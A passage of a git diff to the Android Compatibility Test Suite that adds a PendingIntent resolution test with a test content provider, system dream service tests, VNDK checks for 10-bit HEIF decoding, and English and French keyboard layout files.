+    defaults: [
+        "cts_defaults",
+        "intent_test_app_defaults",
     ],
-    min_sdk_version: "29",
+    package_name: "android.content.cts.IntentResolutionTestApi30",
+    target_sdk_version: "30",
 }
diff --git a/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml b/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
index ac50cb1..1c0aa1b 100644
--- a/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
+++ b/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
@@ -16,7 +16,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.content.cts.IntentResolutionTest" >
-    <application android:hasCode="false">
+    <application>
         <activity android:name="android.content.pm.cts.TestPmActivity"
              android:exported="true">
             <intent-filter>
diff --git a/tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml b/tests/tests/content/IntentResolutionTestApp/provider.xml
similarity index 60%
rename from tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml
rename to tests/tests/content/IntentResolutionTestApp/provider.xml
index 5ee8b8a..a8774b6 100644
--- a/tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml
+++ b/tests/tests/content/IntentResolutionTestApp/provider.xml
@@ -15,17 +15,11 @@
   ~ limitations under the License.
   -->
 
-<set xmlns:android="http://schemas.android.com/apk/res/android"
-    android:shareInterpolator="false"
-    android:showBackdrop="true">
-
-    <alpha
-        android:fromAlpha="0"
-        android:toAlpha="0"
-        android:fillEnabled="true"
-        android:fillBefore="true"
-        android:fillAfter="true"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000"/>
-</set>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.content.cts.IntentResolutionTest" >
+    <application>
+        <provider android:name="android.content.pm.cts.TestProvider"
+              android:exported="true"
+              android:authorities="${applicationId}.provider" />
+    </application>
+</manifest>
diff --git a/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java b/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java
new file mode 100644
index 0000000..ae22d56
--- /dev/null
+++ b/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import android.app.PendingIntent;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class TestProvider extends ContentProvider {
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Bundle call(String method, String arg, Bundle extras) {
+        var intent = new Intent()
+                .setClassName(getContext(), "android.content.pm.cts.TestPmActivity")
+                .setAction("non.existing.action");
+        var p = PendingIntent.getActivity(getContext(), 0, intent, PendingIntent.FLAG_IMMUTABLE);
+        var b = new Bundle();
+        b.putParcelable("pendingIntent", p);
+        return b;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection,
+            String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index b429278..6d375a6 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.content.pm.cts;
 
+import static android.Manifest.permission.GET_INTENT_SENDER_INTENT;
 import static android.Manifest.permission.INSTALL_TEST_ONLY_PACKAGE;
 import static android.content.pm.ApplicationInfo.FLAG_HAS_CODE;
 import static android.content.pm.ApplicationInfo.FLAG_INSTALLED;
@@ -41,8 +42,6 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import com.google.common.truth.Expect;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -56,6 +55,7 @@
 import android.annotation.NonNull;
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -99,14 +99,16 @@
 import android.util.Log;
 
 import androidx.core.content.FileProvider;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ServiceTestRule;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
 
+import com.google.common.truth.Expect;
+
 import junit.framework.AssertionFailedError;
 
 import org.junit.After;
@@ -240,9 +242,9 @@
 
     @Before
     public void setup() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-        mPackageManager = mContext.getPackageManager();
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        mPackageManager = mContext.getPackageManager();
     }
 
     @After
@@ -505,6 +507,24 @@
         results = mPackageManager.queryBroadcastReceivers(intent,
                 PackageManager.ResolveInfoFlags.of(0));
         assertEquals(0, results.size());
+
+        /* Pending Intent tests */
+
+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(GET_INTENT_SENDER_INTENT);
+        var authority = INTENT_RESOLUTION_TEST_PKG_NAME + ".provider";
+        Bundle b = mContext.getContentResolver().call(authority, "", null, null);
+        assertNotNull(b);
+        PendingIntent pi = b.getParcelable("pendingIntent", PendingIntent.class);
+        assertNotNull(pi);
+        intent = pi.getIntent();
+        // It should be a non-matching intent, which cannot be resolved in our package
+        results = mPackageManager.queryIntentActivities(intent,
+            PackageManager.ResolveInfoFlags.of(0));
+        assertEquals(0, results.size());
+        // However, querying on behalf of the pending intent creator should work properly
+        results = pi.queryIntentComponents(0);
+        assertEquals(1, results.size());
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
     }
 
     private void checkActivityInfoName(String expectedName, List<ResolveInfo> resolves) {
diff --git a/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml b/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
index f5b3cf5..a4ebe91 100644
--- a/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
+++ b/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
@@ -43,5 +43,14 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </service>
+        <service
+            android:name=".TestSystemDreamService"
+            android:exported="true"
+            android:permission="android.permission.BIND_DREAM_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.dreams.DreamService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
     </application>
 </manifest>
diff --git a/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java b/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java
new file mode 100644
index 0000000..57f4cf8
--- /dev/null
+++ b/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.dream.cts.app;
+
+import android.graphics.Color;
+import android.service.dreams.DreamService;
+import android.widget.FrameLayout;
+
+/**
+ * {@link TestSystemDreamService} is a minimal concrete {@link DreamService} implementation that
+ * sets the entire window to be red.
+ */
+public class TestSystemDreamService extends DreamService {
+    public void onAttachedToWindow() {
+        super.onAttachedToWindow();
+
+        setInteractive(false);
+        setFullscreen(true);
+
+        final FrameLayout frameLayout = new FrameLayout(getApplicationContext());
+        frameLayout.setBackgroundColor(Color.RED);
+        setContentView(frameLayout);
+    }
+}
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
index 8c836fa..88b50de 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
@@ -99,7 +99,7 @@
                 ComponentName.unflattenFromString(DREAM_SERVICE_COMPONENT);
         final ComponentName dreamActivity = mDreamCoordinator.setActiveDream(dreamService);
 
-        mDreamCoordinator.startDream(dreamService);
+        mDreamCoordinator.startDream();
         waitAndAssertTopResumedActivity(dreamActivity, Display.DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
         // Wait on count down latch.
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
index 166227a..23831ef 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
@@ -74,7 +74,7 @@
                 ComponentName.unflattenFromString(DREAM_SERVICE_COMPONENT);
         final ComponentName dreamActivity = mDreamCoordinator.setActiveDream(dreamService);
 
-        mDreamCoordinator.startDream(dreamService);
+        mDreamCoordinator.startDream();
         waitAndAssertTopResumedActivity(dreamActivity, Display.DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
         mDreamCoordinator.stopDream();
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java b/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java
new file mode 100644
index 0000000..3a65645
--- /dev/null
+++ b/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.service.dreams.cts;
+
+import android.content.ComponentName;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.DreamCoordinator;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@ApiTest(apis = {"com.android.server.dreams.DreamManagerService#setSystemDreamComponent"})
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class SystemDreamTest extends ActivityManagerTestBase {
+    private static final String USER_DREAM_COMPONENT =
+            "android.app.dream.cts.app/.TestDreamService";
+    private static final String SYSTEM_DREAM_COMPONENT =
+            "android.app.dream.cts.app/.TestSystemDreamService";
+
+    private final DreamCoordinator mDreamCoordinator = new DreamCoordinator(mContext);
+
+    private ComponentName mSystemDream;
+    private ComponentName mUserDreamActivity;
+
+    @Before
+    public void setup() {
+        mDreamCoordinator.setup();
+
+        final ComponentName userDream = ComponentName.unflattenFromString(USER_DREAM_COMPONENT);
+        mSystemDream = ComponentName.unflattenFromString(SYSTEM_DREAM_COMPONENT);
+        mUserDreamActivity = mDreamCoordinator.setActiveDream(userDream);
+    }
+
+    @After
+    public void reset()  {
+        mDreamCoordinator.restoreDefaults();
+    }
+
+    @Test
+    public void startDream_systemDreamNotSet_startUserDream() {
+        startAndVerifyDreamActivity(mUserDreamActivity);
+    }
+
+    @Test
+    public void startDream_systemDreamSet_startSystemDream() {
+        final ComponentName systemDreamActivity = mDreamCoordinator.setSystemDream(mSystemDream);
+        startAndVerifyDreamActivity(systemDreamActivity);
+    }
+
+    @Test
+    public void switchDream_systemDreamSet_switchToSystemDream() {
+        mDreamCoordinator.startDream();
+
+        // Sets system dream.
+        final ComponentName systemDreamActivity = mDreamCoordinator.setSystemDream(mSystemDream);
+        try {
+            // Verifies switched to system dream.
+            waitAndAssertTopResumedActivity(systemDreamActivity, Display.DEFAULT_DISPLAY,
+                    getDreamActivityVerificationMessage(systemDreamActivity));
+        } finally {
+            mDreamCoordinator.stopDream();
+        }
+    }
+
+    @Test
+    public void switchDream_systemDreamCleared_switchToUserDream() {
+        mDreamCoordinator.setSystemDream(mSystemDream);
+        mDreamCoordinator.startDream();
+
+        // Clears system dream.
+        mDreamCoordinator.setSystemDream(null);
+        try {
+            // Verifies switched back to user dream.
+            waitAndAssertTopResumedActivity(mUserDreamActivity, Display.DEFAULT_DISPLAY,
+                    getDreamActivityVerificationMessage(mUserDreamActivity));
+        } finally {
+            mDreamCoordinator.stopDream();
+        }
+    }
+
+    private void startAndVerifyDreamActivity(ComponentName expectedDreamActivity) {
+        try {
+            mDreamCoordinator.startDream();
+            waitAndAssertTopResumedActivity(expectedDreamActivity, Display.DEFAULT_DISPLAY,
+                    getDreamActivityVerificationMessage(expectedDreamActivity));
+        } finally {
+            mDreamCoordinator.stopDream();
+        }
+    }
+
+    private String getDreamActivityVerificationMessage(ComponentName activity) {
+        return activity.flattenToString() + " should be displayed";
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 4766268..ef44528 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -41,6 +41,7 @@
 import android.os.Build;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
 import android.platform.test.annotations.LargeTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.system.ErrnoException;
@@ -1012,6 +1013,9 @@
     public void testDecode10BitHEIFTo10BitBitmap() {
         assumeTrue(
             "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+        assumeTrue(
+            "Test needs VNDK at least T.",
+            SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
         assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
 
         BitmapFactory.Options opt = new BitmapFactory.Options();
@@ -1028,6 +1032,9 @@
     public void testDecode10BitHEIFTo8BitBitmap() {
         assumeTrue(
             "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+        assumeTrue(
+            "Test needs VNDK at least T.",
+            SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
         assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
 
         BitmapFactory.Options opt = new BitmapFactory.Options();
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 6741c07..b6689d8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -49,6 +49,7 @@
 import android.media.MediaFormat;
 import android.net.Uri;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.util.DisplayMetrics;
 import android.util.Size;
 import android.util.TypedValue;
@@ -246,6 +247,9 @@
     public void testDecode10BitHeif() {
         assumeTrue(
             "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+        assumeTrue(
+            "Test needs VNDK at least T.",
+            SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
         assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
 
         try {
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index fb3d7ed..caccc0b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -34,6 +34,7 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Assert;
@@ -74,6 +75,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"3.8.6/C-1-4,C-1-5,C-1-6"})
     public void testThemeStyles() {
         final Context context = getInstrumentation().getTargetContext();
         forEachThemeDefinition((color, style, expectedPalette) -> {
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 6ac6d52..897e3df 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -103,6 +103,16 @@
             android:label="FingerprintTestActivity">
         </activity>
 
+        <receiver android:name="android.hardware.input.cts.tests.KeyboardLayoutChangeTest.CtsKeyboardLayoutProvider"
+                  android:label="CTS keyboard layout provider"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS" />
+            </intent-filter>
+            <meta-data android:name="android.hardware.input.metadata.KEYBOARD_LAYOUTS"
+                       android:resource="@xml/keyboard_layouts" />
+        </receiver>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
new file mode 100644
index 0000000..ca90402
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
@@ -0,0 +1,311 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# English (US) keyboard layout.
+# Unlike the default (generic) keyboard layout, English (US) does not contain any
+# special ALT characters.
+#
+
+type OVERLAY
+
+### ROW 1
+
+key GRAVE {
+    label:                              '`'
+    base:                               '`'
+    shift:                              '~'
+}
+
+key 1 {
+    label:                              '1'
+    base:                               '1'
+    shift:                              '!'
+}
+
+key 2 {
+    label:                              '2'
+    base:                               '2'
+    shift:                              '@'
+}
+
+key 3 {
+    label:                              '3'
+    base:                               '3'
+    shift:                              '#'
+}
+
+key 4 {
+    label:                              '4'
+    base:                               '4'
+    shift:                              '$'
+}
+
+key 5 {
+    label:                              '5'
+    base:                               '5'
+    shift:                              '%'
+}
+
+key 6 {
+    label:                              '6'
+    base:                               '6'
+    shift:                              '^'
+}
+
+key 7 {
+    label:                              '7'
+    base:                               '7'
+    shift:                              '&'
+}
+
+key 8 {
+    label:                              '8'
+    base:                               '8'
+    shift:                              '*'
+}
+
+key 9 {
+    label:                              '9'
+    base:                               '9'
+    shift:                              '('
+}
+
+key 0 {
+    label:                              '0'
+    base:                               '0'
+    shift:                              ')'
+}
+
+key MINUS {
+    label:                              '-'
+    base:                               '-'
+    shift:                              '_'
+}
+
+key EQUALS {
+    label:                              '='
+    base:                               '='
+    shift:                              '+'
+}
+
+### ROW 2
+
+key Q {
+    label:                              'Q'
+    base:                               'q'
+    shift, capslock:                    'Q'
+}
+
+key W {
+    label:                              'W'
+    base:                               'w'
+    shift, capslock:                    'W'
+}
+
+key E {
+    label:                              'E'
+    base:                               'e'
+    shift, capslock:                    'E'
+}
+
+key R {
+    label:                              'R'
+    base:                               'r'
+    shift, capslock:                    'R'
+}
+
+key T {
+    label:                              'T'
+    base:                               't'
+    shift, capslock:                    'T'
+}
+
+key Y {
+    label:                              'Y'
+    base:                               'y'
+    shift, capslock:                    'Y'
+}
+
+key U {
+    label:                              'U'
+    base:                               'u'
+    shift, capslock:                    'U'
+}
+
+key I {
+    label:                              'I'
+    base:                               'i'
+    shift, capslock:                    'I'
+}
+
+key O {
+    label:                              'O'
+    base:                               'o'
+    shift, capslock:                    'O'
+}
+
+key P {
+    label:                              'P'
+    base:                               'p'
+    shift, capslock:                    'P'
+}
+
+key LEFT_BRACKET {
+    label:                              '['
+    base:                               '['
+    shift:                              '{'
+}
+
+key RIGHT_BRACKET {
+    label:                              ']'
+    base:                               ']'
+    shift:                              '}'
+}
+
+key BACKSLASH {
+    label:                              '\\'
+    base:                               '\\'
+    shift:                              '|'
+}
+
+### ROW 3
+
+key A {
+    label:                              'A'
+    base:                               'a'
+    shift, capslock:                    'A'
+}
+
+key S {
+    label:                              'S'
+    base:                               's'
+    shift, capslock:                    'S'
+}
+
+key D {
+    label:                              'D'
+    base:                               'd'
+    shift, capslock:                    'D'
+}
+
+key F {
+    label:                              'F'
+    base:                               'f'
+    shift, capslock:                    'F'
+}
+
+key G {
+    label:                              'G'
+    base:                               'g'
+    shift, capslock:                    'G'
+}
+
+key H {
+    label:                              'H'
+    base:                               'h'
+    shift, capslock:                    'H'
+}
+
+key J {
+    label:                              'J'
+    base:                               'j'
+    shift, capslock:                    'J'
+}
+
+key K {
+    label:                              'K'
+    base:                               'k'
+    shift, capslock:                    'K'
+}
+
+key L {
+    label:                              'L'
+    base:                               'l'
+    shift, capslock:                    'L'
+}
+
+key SEMICOLON {
+    label:                              ';'
+    base:                               ';'
+    shift:                              ':'
+}
+
+key APOSTROPHE {
+    label:                              '\''
+    base:                               '\''
+    shift:                              '"'
+}
+
+### ROW 4
+
+key Z {
+    label:                              'Z'
+    base:                               'z'
+    shift, capslock:                    'Z'
+}
+
+key X {
+    label:                              'X'
+    base:                               'x'
+    shift, capslock:                    'X'
+}
+
+key C {
+    label:                              'C'
+    base:                               'c'
+    shift, capslock:                    'C'
+}
+
+key V {
+    label:                              'V'
+    base:                               'v'
+    shift, capslock:                    'V'
+}
+
+key B {
+    label:                              'B'
+    base:                               'b'
+    shift, capslock:                    'B'
+}
+
+key N {
+    label:                              'N'
+    base:                               'n'
+    shift, capslock:                    'N'
+}
+
+key M {
+    label:                              'M'
+    base:                               'm'
+    shift, capslock:                    'M'
+}
+
+key COMMA {
+    label:                              ','
+    base:                               ','
+    shift:                              '<'
+}
+
+key PERIOD {
+    label:                              '.'
+    base:                               '.'
+    shift:                              '>'
+}
+
+key SLASH {
+    label:                              '/'
+    base:                               '/'
+    shift:                              '?'
+}
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_french.kcm b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
new file mode 100644
index 0000000..65bcd13
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
@@ -0,0 +1,336 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# French keyboard layout, AZERTY style.
+#
+
+type OVERLAY
+
+map key 16 A
+map key 17 Z
+map key 30 Q
+map key 39 M
+map key 44 W
+map key 50 COMMA
+map key 51 SEMICOLON
+map key 86 PLUS
+
+### ROW 1
+
+key GRAVE {
+    label:                              '\u00b2'
+    base:                               '\u00b2'
+}
+
+key 1 {
+    label:                              '1'
+    base:                               '&'
+    shift:                              '1'
+}
+
+key 2 {
+    label:                              '2'
+    base:                               '\u00e9'
+    shift:                              '2'
+    ralt:                               '~'
+}
+
+key 3 {
+    label:                              '3'
+    base:                               '"'
+    shift:                              '3'
+    ralt:                               '#'
+}
+
+key 4 {
+    label:                              '4'
+    base:                               '\''
+    shift:                              '4'
+    ralt:                               '{'
+}
+
+key 5 {
+    label:                              '5'
+    base:                               '('
+    shift:                              '5'
+    ralt:                               '['
+}
+
+key 6 {
+    label:                              '6'
+    base:                               '-'
+    shift:                              '6'
+    ralt:                               '|'
+}
+
+key 7 {
+    label:                              '7'
+    base:                               '\u00e8'
+    shift:                              '7'
+    ralt:                               '`'
+}
+
+key 8 {
+    label:                              '8'
+    base:                               '_'
+    shift:                              '8'
+    ralt:                               '\\'
+}
+
+key 9 {
+    label:                              '9'
+    base:                               '\u00e7'
+    shift:                              '9'
+    ralt:                               '^'
+}
+
+key 0 {
+    label:                              '0'
+    base:                               '\u00e0'
+    shift:                              '0'
+    ralt:                               '@'
+}
+
+key MINUS {
+    label:                              ')'
+    base:                               ')'
+    shift:                              '\u00b0'
+    ralt:                               ']'
+}
+
+key EQUALS {
+    label:                              '='
+    base:                               '='
+    shift:                              '+'
+    ralt:                               '}'
+}
+
+### ROW 2
+
+key A {
+    label:                              'A'
+    base:                               'a'
+    shift, capslock:                    'A'
+}
+
+key Z {
+    label:                              'Z'
+    base:                               'z'
+    shift, capslock:                    'Z'
+}
+
+key E {
+    label:                              'E'
+    base:                               'e'
+    shift, capslock:                    'E'
+    ralt:                               '\u20ac'
+}
+
+key R {
+    label:                              'R'
+    base:                               'r'
+    shift, capslock:                    'R'
+}
+
+key T {
+    label:                              'T'
+    base:                               't'
+    shift, capslock:                    'T'
+}
+
+key Y {
+    label:                              'Y'
+    base:                               'y'
+    shift, capslock:                    'Y'
+}
+
+key U {
+    label:                              'U'
+    base:                               'u'
+    shift, capslock:                    'U'
+}
+
+key I {
+    label:                              'I'
+    base:                               'i'
+    shift, capslock:                    'I'
+}
+
+key O {
+    label:                              'O'
+    base:                               'o'
+    shift, capslock:                    'O'
+}
+
+key P {
+    label:                              'P'
+    base:                               'p'
+    shift, capslock:                    'P'
+}
+
+key LEFT_BRACKET {
+    label:                              '\u02c6'
+    base:                               '\u0302'
+    shift:                              '\u0308'
+}
+
+key RIGHT_BRACKET {
+    label:                              '$'
+    base:                               '$'
+    shift:                              '\u00a3'
+    ralt:                               '\u00a4'
+}
+
+### ROW 3
+
+key Q {
+    label:                              'Q'
+    base:                               'q'
+    shift, capslock:                    'Q'
+}
+
+key S {
+    label:                              'S'
+    base:                               's'
+    shift, capslock:                    'S'
+}
+
+key D {
+    label:                              'D'
+    base:                               'd'
+    shift, capslock:                    'D'
+}
+
+key F {
+    label:                              'F'
+    base:                               'f'
+    shift, capslock:                    'F'
+}
+
+key G {
+    label:                              'G'
+    base:                               'g'
+    shift, capslock:                    'G'
+}
+
+key H {
+    label:                              'H'
+    base:                               'h'
+    shift, capslock:                    'H'
+}
+
+key J {
+    label:                              'J'
+    base:                               'j'
+    shift, capslock:                    'J'
+}
+
+key K {
+    label:                              'K'
+    base:                               'k'
+    shift, capslock:                    'K'
+}
+
+key L {
+    label:                              'L'
+    base:                               'l'
+    shift, capslock:                    'L'
+}
+
+key M {
+    label:                              'M'
+    base:                               'm'
+    shift, capslock:                    'M'
+}
+
+key APOSTROPHE {
+    label:                              '\u00f9'
+    base:                               '\u00f9'
+    shift:                              '%'
+}
+
+key BACKSLASH {
+    label:                              '*'
+    base:                               '*'
+    shift:                              '\u00b5'
+}
+
+### ROW 4
+
+key PLUS {
+    label:                              '<'
+    base:                               '<'
+    shift:                              '>'
+}
+
+key W {
+    label:                              'W'
+    base:                               'w'
+    shift, capslock:                    'W'
+}
+
+key X {
+    label:                              'X'
+    base:                               'x'
+    shift, capslock:                    'X'
+}
+
+key C {
+    label:                              'C'
+    base:                               'c'
+    shift, capslock:                    'C'
+}
+
+key V {
+    label:                              'V'
+    base:                               'v'
+    shift, capslock:                    'V'
+}
+
+key B {
+    label:                              'B'
+    base:                               'b'
+    shift, capslock:                    'B'
+}
+
+key N {
+    label:                              'N'
+    base:                               'n'
+    shift, capslock:                    'N'
+}
+
+key COMMA {
+    label:                              ','
+    base:                               ','
+    shift:                              '?'
+}
+
+key SEMICOLON {
+    label:                              ';'
+    base:                               ';'
+    shift:                              '.'
+}
+
+key PERIOD {
+    label:                              ':'
+    base:                               ':'
+    shift:                              '/'
+}
+
+key SLASH {
+    label:                              '!'
+    base:                               '!'
+    shift:                              '\u00a7'
+}
